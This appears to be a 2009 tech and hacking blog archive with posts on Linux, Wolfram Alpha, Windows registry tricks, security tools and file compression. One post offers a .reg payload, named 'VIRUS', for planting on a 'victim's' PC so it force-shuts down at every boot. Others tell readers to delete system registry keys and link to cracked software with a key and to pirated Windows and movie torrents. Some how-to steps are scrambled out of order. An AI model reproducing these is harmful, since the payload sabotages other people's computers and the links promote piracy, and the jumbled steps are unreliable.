The entry of Microsoft into the high-end workstation arena created a strange dynamic. The proprietary operating systems owned by separate companies and the lack of a central authority in the UNIX world weaken UNIX, but many people have personal problems with Microsoft. Linux stepped into this odd landscape and captured a lot of attention.

The Linux kernel, created by Linus Torvalds, was made available to the world for free. Torvalds then invited others to add to the kernel provided that they keep their contributions free. Thousands of programmers began working to enhance Linux, and the operating system grew rapidly. Because it is free and runs on PC platforms, it gained a sizeable audience among hard-core developers very quickly. Linux has a dedicated following and appeals to several different kinds of people:

People who already know UNIX and want to run it on PC-type hardware
People who want to experiment with operating system principles
People who need or want a great deal of control over their operating system
People who have personal problems with Microsoft

In general, Linux is harder to manage than something like Windows, but offers more flexibility and configuration options.

AN INVENTION THAT COULD CHANGE THE INTERNET FOR EVER

2009-05-07T09:39:00.000-07:00

Harvard University where this concept was first tested

Revolutionary new web software could put giants such as Google in the shade when it comes out later this month. Andrew Johnson reports
The biggest internet revolution for a generation will be unveiled this month with the launch of software that will understand questions and give specific, tailored answers in a way that the web has never managed before.

The new system, Wolfram Alpha, showcased at Harvard University in the US last week, takes the first step towards what many consider to be the internet's Holy Grail – a global store of information that understands and responds to ordinary language in the same way a person does.
Although the system is still new, it has already produced massive interest and excitement among technology pundits and internet watchers.

Computer experts believe the new search engine will be an evolutionary leap in the development of the internet. Nova Spivack, an internet and computer expert, said that Wolfram Alpha could prove just as important as Google. "It is really impressive and significant," he wrote. "In fact it may be as important for the web (and the world) as Google, but for a different purpose.

Tom Simpson, of the blog Convergenceofeverything.com, said: "What are the wider implications exactly? A new paradigm for using computers and the web? Probably. Emerging artificial intelligence and a step towards a self-organising internet? Possibly... I think this could be big."
Wolfram Alpha will not only give a straight answer to questions such as "how high is Mount Everest?", but it will also produce a neat page of related information – all properly sourced – such as geographical location and nearby towns, and other mountains, complete with graphs and charts.

The real innovation, however, is in its ability to work things out "on the fly", according to its British inventor, Dr Stephen Wolfram. If you ask it to compare the height of Mount Everest to the length of the Golden Gate Bridge, it will tell you. Or ask what the weather was like in London on the day John F Kennedy was assassinated, it will cross-check and provide the answer. Ask it about D sharp major, it will play the scale. Type in "10 flips for four heads" and it will guess that you need to know the probability of coin-tossing. If you want to know when the next solar eclipse over Chicago is, or the exact current location of the International Space Station, it can work it out.

Dr Wolfram, an award-winning physicist who is based in America, added that the information is "curated", meaning it is assessed first by experts. This means that the weaknesses of sites such as Wikipedia, where doubts are cast on the information because anyone can contribute, are taken out. It is based on his best-selling Mathematica software, a standard tool for scientists, engineers and academics for crunching complex maths.

"I've wanted to make the knowledge we've accumulated in our civilisation computable," he said last week. "I was not sure it was possible. I'm a little surprised it worked out so well."

Dr Wolfram, 49, who was educated at Eton and had completed his PhD in particle physics by the time he was 20, added that the launch of Wolfram Alpha later this month would be just the beginning of the project.

"It will understand what you are talking about," he said. "We are just at the beginning. I think we've got a reasonable start on 90 per cent of the shelves in a typical reference library."

The engine, which will be free to use, works by drawing on the knowledge on the internet, as well as private databases. Dr Wolfram said he expected that about 1,000 people would be needed to keep its databases updated with the latest discoveries and information.

He also added that he would not go down the road of storing information on ordinary people, although he was aware that others might use the technology to do so.

Wolfram Alpha has been designed with professionals and academics in mind, so its grasp of popular culture is, at the moment, comparatively poor. The term "50 Cent" caused "absolute horror" in tests, for example, because it confused a discussion on currency with the American rap artist. For this reason alone it is unlikely to provide an immediate threat to Google, which is working on a similar type of search engine, a version of which it launched last week.

"We have a certain amount of popular culture information," Dr Wolfram said. "In some senses popular culture information is much more shallowly computable, so we can find out who's related to who and how tall people are. I fully expect we will have lots of popular culture information. There are linguistic horrors because if you put in books and music a lot of the names clash with other concepts."

He added that to help with that Wolfram Alpha would be using Wikipedia's popularity index to decide what users were likely to be interested in.

With Google now one of the world's top brands, worth $100bn, Wolfram Alpha has the potential to become one of the biggest names on the planet.

Dr Wolfram, however, did not rule out working with Google in the future, as well as Wikipedia. "We're working to partner with all possible organisations that make sense," he said. "Search, narrative, news are complementary to what we have. Hopefully there will be some great synergies."

OPEN SOURCE SOFTWARES

2009-05-06T04:26:00.000-07:00

Most software that you buy or download only comes in the compiled ready-to-run version. Compiled means that the actual program code that the developer created, known as the source code, has run through a special program called a compiler that translates the source code into a form that the computer can understand. It is extremely difficult to modify the compiled version of most applications and nearly impossible to see exactly how the developer created different parts of the program. Most commercial software manufacturers see this as an advantage that keeps other companies from copying their code and using it in a competing product. It also gives them control over the quality and features found in a particular product.

Open source software is at the opposite end of the spectrum. The source code is included with the compiled version and modification or customization is actually encouraged. The software developers who support the open source concept believe that by allowing anyone who's interested to modify the source code, the application will be more useful and error-free over the long term.

To be considered as open source software by the software development industry, certain criteria must be met:

The program must be freely distributed (It can be part of a package that is sold though, such as Red Hat has done with Linux in the example below).
Source code must be included.
Anyone must be allowed to modify the source code.
Modified versions can be redistributed.
The license must not require the exclusion of other software or interfere with the operation of other software.

Let's take a look at a real world example of open source software. In 1991, Linus Torvalds, a student at the University of Helsinki in Finland, developed a new operating system based on Minix, a derivative of Unix, which he dubbed Linux. Torvalds released version 0.02 of Linux under the GNU General Public License, which provides a good legal definition of open source software. A lot of people around the world downloaded Linux and began working with it. Many of these users were programmers in their own right and made modifications to the source code that Torvalds had included. Over the next three years, Torvalds received these modified versions from the other programmers and incorporated many of the changes into the baseline version and released Linux version 1.0 in 1994.

A common concern for end-users who wish to use open source software is the lack of a warranty and technical support. Because the software's license encourages modification and customization, it is nearly impossible to support. This is why Red Hat Software, founded in 1994, created the "Official Red Hat Linux" and is able to sell this normally "free" software. The main value that Red Hat adds to the package is a warranty and technical support. For most businesses, the assurance of technical support has been a key factor in the decision to buy Linux instead of simply downloading it for free. In addition to Red Hat, there are several other companies that have packaged Linux, usually with additional software, for resale.

Besides Linux, Mozilla (Netscape browser core), Apache (Web server), PERL (Web scripting language) and PNG (graphics file format) are all examples of very popular software that is based on open source.

Here are the download links of some popular open source software

Ubuntu (Linux Operating System)
http://www.ubuntu.com

Mozilla (Web Browsing Suite)
http://www.mozilla.com

OpenOffice.org (Full Office Suite-MSOffice Compatible)
http://www.openoffice.org

The GNU Image Manipulation Program (Like Photoshop)
http://www.gimp.org

Rockbox (Jukebox Firmware - iPod and others)
http://www.rockbox.org/

Inkscape (Vector Graphics Editor)
http://www.inkscape.org

Pidgin (Instant Messaging)
http://www.pidgin.im/

There are also other linux distributions like:

PCLinuxOS: http://www.pclinuxos.com
openSUSE: http://www.opensuse.org
Debian: http://www.debian.org
Fedora Core: http://www.fedoraproject.org
Damn Small Linux (DSL): http://www.damnsmalllinux.org
Gentoo: http://www.gentoo.org
And many more: http://distrowatch.com

AUTOMATED RESTORE

2009-05-05T02:14:00.000-07:00

I found this cool VB script while surfing the other day .just copy paste the part after quotes in a notepad file (don’t copy the quotes)save the file as .vbs n run it to ensure automatic system restore

' Copy from here --------------------->
' Create a System Restore Point
' supported on: Windows XP

Const DEVICE_DRIVER_INSTALL = 10
Const BEGIN_SYSTEM_CHANGE = 100

strComputer = "."
Set objWMI = GetObject("winmgmts:" _
& "\\" & strComputer & "\root\default")

Set objItem = objWMI.Get("SystemRestore")
errResults = objItem.CreateRestorePoint _
("AUTOMATED RESTORE by ARKA", DEVICE_DRIVER_INSTALL, BEGIN_SYSTEM_CHANGE)

'<------------------------ To here
copy and save as *.vbs....use global startup...stay safe !

It creates a Restore Point whenever executed..Written in VBScript using WMI.
You can copy it to the startup folder...so that..every time the computer boots..it creates a restore point...So that you can restore your computer back...

ONE OF THE BEST TORRRENT RIPPERS

2009-05-04T12:00:00.000-07:00

Downloading movies seems to be a rage these days .Everytone is downloading loads of movies.One of my friends has a movie collection of well over 1.5 TB(1500GB).Now that’s sumthing that will take a lot of time for me to achieve .

Till now Dvd rips were in vogue but now they are slowly being replaced by Blu ray disc rips .Why? just see one movie and check it out yourself

I wanted to watch CASINO ROYALE again, so searched for a good rip on torrentz.com, I came across a h264 rip by a ripper called Secret Myth. and I was literally blown outta my mind.

Check out the specs:

Video : H.264/MPEG-4 AVC / 745 kbs / 23.976 fps / 1280 x 544
_______________________________________________________________

Audio : MPEG-4 AAC-LC / 48000Hz 142 kbs / 5,1 Ch
_______________________________________________________________

Size : 703,6 MB

Do you see the 1280 x 544 resolution? did you notice the MP4 AAC 5.1 Surround sound, and bloody did you people notice the effing size of this thing? 703.6 MB!!!!

You just need to try this genius out.

He does a lot of BDrips, which is the only thing I download these days, for n00bs, BDRip is a rip made from a blueray disk instead f a DVD.

Here's a link to his torrents:

http://www.mininova.org/user/secret_myth

No need to thank me, thank Secret Myth by seeding his stuff if you like it.

CHANGE REMOVABLE DISK DEFAULT LOOK

2009-05-02T02:37:00.000-07:00

The removable disk has a default look.This default look of the removable drives can be changed by a simple trick.Follow the steps to change the icon ..

Select your favourite picture which u want to set for the icon of removable disk.

+ Save the selected image as anyname.ico (How to do is open the picture in mspaint. and save as anyname.ico).Make sure that selected image is small.

+ Open note pad and copy the following code.

[autorun]
Label=ANYNAME
Icon=filename.ico

+ Here label indicates the name of ur removable disk and icon indiactes the name of your icon.

+ Now save is notepad file as autorun.inf.

+ Copy both files (autorun.inf and Icon file) to your removable drive. You can make both files as hidden.

Now unplug the drive and connect it back to USB and now you can see the icon of your removable disk.Thats it!!

TOP 15 HACKING SOFTWARES

2009-05-01T02:25:00.000-07:00

1. Nmap

I think everyone has heard of this one, recently evolved into the 4.x series.

1.Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

2. Nessus Remote Security Scanner

Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

3. John the Ripper

Yes, JTR 1.7 was recently released!

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:

- machines that connect to your box (SYN mode),
- machines you connect to (SYN+ACK mode),
- machine you cannot connect to (RST+ mode),
- machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.

7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

8. Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

The best Layer 2 kit there is.

9. Eraser

Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.

An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.

10. PuTTY

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4×0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.

11. LCP

Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.

A good free alternative to L0phtcrack.

LCP was briefly mentioned in our well read Rainbow Tables and RainbowCrack article.

12. Cain and Abel

My personal favourite for password cracking of any kind.

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

13. Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.

A good wireless tool as long as your card supports rfmon (look for an orinocco gold).

14. NetStumbler

Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a nice interface, good for the basics of war-driving.

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that may be causing interference on your network.
Detect unauthorized “rogue” access points in your workplace.
Help aim directional antennas for long-haul WLAN links.
Use it recreationally for WarDriving.

15. hping

To finish off, something a little more advanced if you want to test your TCP/IP packet monkey skills.

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

Shutdown ur friend's comp when everytime it starts

2009-04-29T14:03:00.000-07:00

Shutdown ur friend's comp when everytime it starts
Thats really easy.
put this followin text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.
You can also put this in a javascript code, just add this code to your webpage

IT sector may layoff over 1 lakh by Sept

2009-04-28T14:24:00.001-07:00

The Indian IT services sector may see up to five per cent layoffs -- amounting to more than one lakh job cuts -- over the next six months as companies focus more on cost-cutting due to persisting weakness in global demand, experts say.

Companies may reduce workforce in this fiscal, mostly based on stringent performance criteria, experts added.

"We expect the knowledge industry (IT) to see 3-5 per cent non-voluntary exits in the first two quarters of the financial year mainly in senior and middle levels," Deloitte Touche Tohmatsu Senior Director (Management Consultancy Services) P Thiruvengadam said.

Given the fact that more than 22 lakh people work in the IT industry, five per cent non-voluntary exits would mean more than one lakh employees being shown the door by September.

Nasscom estimates more than 22 lakh people were working in the Indian IT-BPO sector in FY2009 (till February), while indirect job creation is estimated at about eight million.

International Management Institute (IMI) Director C S Venkata Ratnam said, "The IT sector is better off but it may see up to 4-5 per cent job losses in the first two quarters of this fiscal."

BURNAWARE

2009-04-27T14:14:00.001-07:00

I got a couple of mails last week asking me for a suitable substitute for Nero.The guy had apparently not uninstalled Nero properly n to avoid the problem he had deleted the nero directory with all its content .Now when he was reinstalling Nero it wasn’t working.I l deal this part of the problem later ,on how to make Nero work again but now the solution to the first part of the problem.,that is SUBSTITUTE FOR NERO.Well I found this amazing software called BURNAWARE

BurnAware Professional is the professional’s choice for quality CD & DVD media duplication and Blu-ray Disc recording. Apart from the standard features, such as data, audio and video burning, BurnAware Professional offers a wide scope of advanced functionality, allowing you to duplicate CDs and DVDs, make exact copies of discs on your hard drive, write to multiple drives simultaneously. Also it is permitted for commercial use.What really attracted me to this software so much are:

1. Its only 14Mb in size and you can perform all cd/dvd writing functions with it.

2. It can burn BLU-RAY Discs

3. It uses comparatyively much lesser memory resources than Nero ,like I am simultaneously writing a Movie DVD while posting in this blog using my 4 year old PC

Here are the links for downloading the software Burnaware professional with premium cd key and unlimited license

http://www.ziddu.com/download/4499042/BURNAWAREPROFESSIONAL.rar.html

TURN OFF ERRROR REPORTING

2009-04-26T02:46:00.000-07:00

If error reporting in XP is bugging you then turn it off.

When XP encounters a system , a little dialog box appears asking if you want to report the error to Microsoft. Click the message box to make it disappear. You don't have to report the error if you don't want to and on today's "Call for Help" Here is a way how to turn off tab on your System Properties dialog box.
3. Click the Error Reporting button on the Advanced tab.
4. Place a checkmark the feature if you find it distracting.

To disable error reporting, follow these instructions:

1. Right-click My Computer and choose Properties.
2. Click the Advanced next to "Disable error reporting."
5. Leave the other radio button unchecked next to the text labeled, "But notify me when critical errors occur."
6. Click OK.

WEBSITES OFFERING HELP IN HACKING

2009-04-25T04:33:00.000-07:00

Here are some websites that shall help you. Not all sites listed here will make you the ultimate hacker finally, but shall help you towards your goal

http://www.freestuffhotdeals.com/hacker/1.html

Just a site to test your GK. But. Try using to reach all the levels. Not just the last level. (Skill : Directory Snooping.)

www.hack-test.com

Hmm.. Gives you the positive energy to move forward to your goal. Not exactly hacking. But something close to that. Google powers

www.hackthissite.org

The real beginning. Refine skills as a Beginner. Very Effective.

www.hellboundhackers.com

One step ahead. Things look tough and creepy.

www.corruptcode.com

Hmmm.. Not that Easy. Things look not that bad.

LOCK UP YOUR PC

2009-04-25T03:02:00.000-07:00

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.

RENAME RECYCLE BIN

2009-04-24T04:41:00.000-07:00

To change the name of the Recycle Bin desktop icon, open Regedit and go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}

and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Disable My Computer

2009-04-24T03:13:00.000-07:00

1. Start Regedit

2. Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D

3. This should bring you to the HKey_Classes_Root \ CLSID section

4. Delete the entire section.

5. Now when you click on My Computer, nothing will happen

WINDOWS 7

2009-04-22T12:12:00.000-07:00

Windows 7 (formerly codenamed Blackcomb and Vienna) will be the next version of Microsoft Windows, an operating system produced by Microsoft Corporation for use on personal computers, including home and business desktops, laptops, tablet PCs, notebooks and media center PCs. Representatives of Microsoft estimated in 2007 that Windows 7 would have a three-year development time frame following the release of its predecessor Windows Vista, but that the release date would ultimately be determined by product quality.

Windows Vista flopped very badly some regarding it as the 'worlds most unstable OS'.Thus a lot is at stake for Microsoft in its new release 'se7en'.Windows 7 does away with most of Vista drawbacks .It can be called the repaired,patched up and compacted form of Vista with not only looks but also substance it has a lot of new features , such as advances in touch, speech, and handwriting recognition, support for virtual hard disks, improved performance on multi-core processors, improved boot performance, and kernel improvements.

A new feature is called Library. Its not a folder or file but is a way to group related files and folders. If you have documents and text files in several locations like different folders on the hard drive, removable flash drive, network folder, etc. You can use a library to see all the files in those locations collectively in one Library. The files will remain in their respective location; the library contains an index to the file or folder.

The User Account Control (UAC) defaults to a moderate level so it does not constantly pop up asking about everything....I know that means decreased security but its up to you whether you want your screen space to be filled up by warning messages.

For people not having the required configuration there is a thing called windows 7 transformation pack which makes using the currently OS feel and look like windows 7.

The links are

Primary

http://uploading.com/files/PYPZ31HZ/WindowsSe7en_Transformation_Pack.zip.html

Mirror 1

http://www.ziddu.com/download/2780598/WindowsSe7enTransformationPack.zip.html

Mirror 2

http://rapidshare.com/files/167571688/WindowsSe7en_Transformation_Pack.zip

Download windows 7 Ultimate from this link (you should have a torrent clint like bit torrent or u torrent for downloading this)
http://thepiratebay.org/torrent/4835879/Windows_7_Ultimate_x64_build_7077_RC-Escrow

Few snaps of windows 7

SUPERBAR(Newer version of task bar)

IMPROVED DEVICE MANAGER

ENHANCED CALCULATOR

NTFS VS FAT

2009-04-21T07:25:00.000-07:00

To NTFS or not to NTFS—that is the question. But unlike the deeper questions of life, this one isn't really all that hard to answer. For most users running Windows XP, NTFS is the obvious choice. It's more powerful and offers security advantages not found in the other file systems. But let's go over the differences among the files systems so we're all clear about the choice. There are essentially three different file systems available in Windows XP: FAT16, short for File Allocation Table, FAT32, and NTFS, short for NT File System.

FAT16
The FAT16 file system was introduced way back with MS–DOS in 1981, and it's showing its age. It was designed originally to handle files on a floppy drive, and has had minor modifications over the years so it can handle hard disks, and even file names longer than the original limitation of 8.3 characters, but it's still the lowest common denominator. The biggest advantage of FAT16 is that it is compatible across a wide variety of operating systems, including Windows 95/98/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is that it has a fixed maximum number of clusters per partition, so as hard disks get bigger and bigger, the size of each cluster has to get larger. In a 2–GB partition, each cluster is 32 kilobytes, meaning that even the smallest file on the partition will take up 32 KB of space. FAT16 also doesn't support compression, encryption, or advanced security using access control lists.

FAT32
The FAT32 file system, originally introduced in Windows 95 Service Pack 2, is really just an extension of the original FAT16 file system that provides for a much larger number of clusters per partition. As such, it greatly improves the overall disk utilization when compared to a FAT16 file system. However, FAT32 shares all of the other limitations of FAT16, and adds an important additional limitation—many operating systems that can recognize FAT16 will not work with FAT32—most notably Windows NT, but also Linux and UNIX as well. Now this isn't a problem if you're running FAT32 on a Windows XP computer and sharing your drive out to other computers on your network—they don't need to know (and generally don't really care) what your underlying file system is.

The Advantages of NTFS
The NTFS file system, introduced with first version of Windows NT, is a completely different file system from FAT. It provides for greatly increased security, file–by–file compression, quotas, and even encryption. It is the default file system for new installations of Windows XP, and if you're doing an upgrade from a previous version of Windows, you'll be asked if you want to convert your existing file systems to NTFS. Don't worry. If you've already upgraded to Windows XP and didn't do the conversion then, it's not a problem. You can convert FAT16 or FAT32 volumes to NTFS at any point. Just remember that you can't easily go back to FAT or FAT32 (without reformatting the drive or partition), not that I think you'll want to.

The NTFS file system is generally not compatible with other operating systems installed on the same computer, nor is it available when you've booted a computer from a floppy disk. For this reason, many system administrators, myself included, used to recommend that users format at least a small partition at the beginning of their main hard disk as FAT. This partition provided a place to store emergency recovery tools or special drivers needed for reinstallation, and was a mechanism for digging yourself out of the hole you'd just dug into. But with the enhanced recovery abilities built into Windows XP (more on that in a future column), I don't think it's necessary or desirable to create that initial FAT partition.

When to Use FAT or FAT32
If you're running more than one operating system on a single computer , you will definitely need to format some of your volumes as FAT. Any programs or data that need to be accessed by more than one operating system on that computer should be stored on a FAT16 or possibly FAT32 volume. But keep in mind that you have no security for data on a FAT16 or FAT32 volume—any one with access to the computer can read, change, or even delete any file that is stored on a FAT16 or FAT32 partition. In many cases, this is even possible over a network. So do not store sensitive files on drives or partitions formatted with FAT file systems.

source: (Wikipedia,Microsoft Official site). Compiled and edited by me

Change the thumbnail size of photos in XP without any software

2009-04-20T19:25:00.000-07:00

Wanna change the thumbnail view size of your photos in XP .. !! This can be done by a simple registry trick without any software.

Follow the steps here to change the size :

+ Open run -> regedit

+ In registry navigate to :

HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer

+ In the right side box, right click -> new -> DWORD Value

+ Give it the name ThumbnailSize

+ Right click on ThumbnailSize and click modify.

+ Now change the value data to any number between 20 to 100 (in hexadecimal) or between 32 to 256 (in decimal).

Done .. !! Your thumbnail size will change as your desired size.

Thumbnail view at 60

Thumbnail view at 256

NOTEPAD TRICKS

2009-04-20T10:15:00.000-07:00

Well quite old but here is d complete collection

Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again and c the magic

or

1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.

or

Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...

FILE COMPRESSION

2009-04-19T02:40:00.000-07:00

If you download many programs and files off the Internet, you've probably encountered ZIP files before. This compression system was a path breaking invention, especially for Web users, because it lets you reduce the overall number of bits and bytes in a file so it can be transmitted faster over slower Internet connections, or take up less space on a disk. Once you download the file, your computer uses a program such as WinZip or Stuffit to expand the file back to its original size. If everything works correctly, the expanded file is identical to the original file before it was compressed.

At first glance, this seems very mysterious. How can you reduce the number of bits and bytes and then add those exact bits and bytes back later? As it turns out, the basic idea behind the process is fairly straightforward. In this article, I am going to tell you about thr basic concept behind this compression technique

Most types of computer files are fairly redundant -- they have the same information listed over and over again. File-compression programs simply get rid of the redundancy. Instead of listing a piece of information over and over again, a file-compression program lists that information once and then refers back to it whenever it appears in the original program.

As an example, let's look at a type of information we're all familiar with: words.

In John F. Kennedy's 1961 inaugural address, he delivered this famous line:

"Ask not what your country can do for you -- ask what you can do for your country."

The quote has 17 words, made up of 61 letters, 16 spaces, one dash and one period. If each letter, space or punctuation mark takes up one unit of memory, we get a total file size of 79 units. To get the file size down, we need to look for redundancies.

Immediately, we notice that:

"ask" appears two times
"what" appears two times
"your" appears two times
"country" appears two times
"can" appears two times
"do" appears two times
"for" appears two times
"you" appears two times

Ignoring the difference between capital and lower-case letters, roughly half of the phrase is redundant. Nine words -- ask, not, what, your, country, can, do, for, you -- give us almost everything we need for the entire quote. To construct the second half of the phrase, we just point to the words in the first half and fill in the spaces and punctuation.

We'll look at how file-compression systems deal with redundancy in more detail in the next section.

Redundancy and Algorithms

Most compression programs use a variation of the LZ adaptive dictionary-based algorithm to shrink files. "LZ" refers to Lempel and Ziv, the algorithm's creators, and "dictionary" refers to the method of cataloging pieces of data.

The system for arranging dictionaries varies, but it could be as simple as a numbered list. When we go through Kennedy's famous words, we pick out the words that are repeated and put them into the numbered index. Then, we simply write the number instead of writing out the whole word.

So, if this is our dictionary:

ask
what
your
country
can
do
for
you

Our sentence now reads:

"1 not 2 3 4 5 6 7 8 -- 1 2 8 5 6 7 3 4"

If you knew the system, you could easily reconstruct the original phrase using only this dictionary and number pattern. This is what the expansion program on your computer does when it expands a downloaded file. You might also have encountered compressed files that open themselves up. To create this sort of file, the programmer includes a simple expansion program with the compressed file. It automatically reconstructs the original file once it's downloaded.

But how much space have we actually saved with this system? "1 not 2 3 4 5 6 7 8 -- 1 2 8 5 6 7 3 4" is certainly shorter than "Ask not what your country can do for you; ask what you can do for your country;" but keep in mind that we need to save the dictionary itself along with the file.

In an actual compression scheme, figuring out the various file requirements would be fairly complicated; but for our purposes, let's go back to the idea that every character and every space takes up one unit of memory. We already saw that the full phrase takes up 79 units. Our compressed sentence (including spaces) takes up 37 units, and the dictionary (words and numbers) also takes up 37 units. This gives us a file size of 74, so we haven't reduced the file size by very much.

But this is only one sentence! You can imagine that if the compression program worked through the rest of Kennedy's speech, it would find these words and others repeated many more times. And, as we'll see in the next section, it would also be rewriting the dictionary to get the most efficient organization possible

Pattern Searching

In our previous example, we picked out all the repeated words and put those in a dictionary. To us, this is the most obvious way to write a dictionary. But a compression program sees it quite differently: It doesn't have any concept of separate words -- it only looks for patterns. And in order to reduce the file size as much as possible, it carefully selects which patterns to include in the dictionary.

If we approach the phrase from this perspective, we end up with a completely different dictionary.

If the compression program scanned Kennedy's phrase, the first redundancy it would come across would be only a couple of letters long. In "ask not what your," there is a repeated pattern of the letter "t" followed by a space -- in "not" and "what." If the compression program wrote this to the dictionary, it could write a "1" every time a "t" were followed by a space. But in this short phrase, this pattern doesn't occur enough to make it a worthwhile entry, so the program would eventually overwrite it.

The next thing the program might notice is "ou," which appears in both "your" and "country." If this were a longer document, writing this pattern to the dictionary could save a lot of space -- "ou" is a fairly common combination in the English language. But as the compression program worked through this sentence, it would quickly discover a better choice for a dictionary entry: Not only is "ou" repeated, but the entire words "your" and "country" are both repeated, and they are actually repeated together, as the phrase "your country." In this case, the program would overwrite the dictionary entry for "ou" with the entry for "your country."

The phrase "can do for" is also repeated, one time followed by "your" and one time followed by "you," giving us a repeated pattern of "can do for you." This lets us write 15 characters (including spaces) with one number value, while "your country" only lets us write 13 characters (with spaces) with one number value, so the program would overwrite the "your country" entry as just "r country," and then write a separate entry for "can do for you." The program proceeds in this way, picking up all repeated bits of information and then calculating which patterns it should write to the dictionary. This ability to rewrite the dictionary is the "adaptive" part of LZ adaptive dictionary-based algorithm. The way a program actually does this is fairly complicated, as you can see by the discussions on.

No matter what specific method you use, this in-depth searching system lets you compress the file much more efficiently than you could by just picking out words. Using the patterns we picked out above, and adding "__" for spaces, we come up with this larger dictionary:

ask__
what__
you
r__country
__can__do__for__you

And this smaller sentence:

"1not__2345__--__12354"

The sentence now takes up 18 units of memory, and our dictionary takes up 41 units. So we've compressed the total file size from 79 units to 59 units! This is just one way of compressing the phrase, and not necessarily the most efficient one. (See if you can find a better way!)

So how good is this system? The file-reduction ratio depends on a number of factors, including file type, file size and compression scheme.

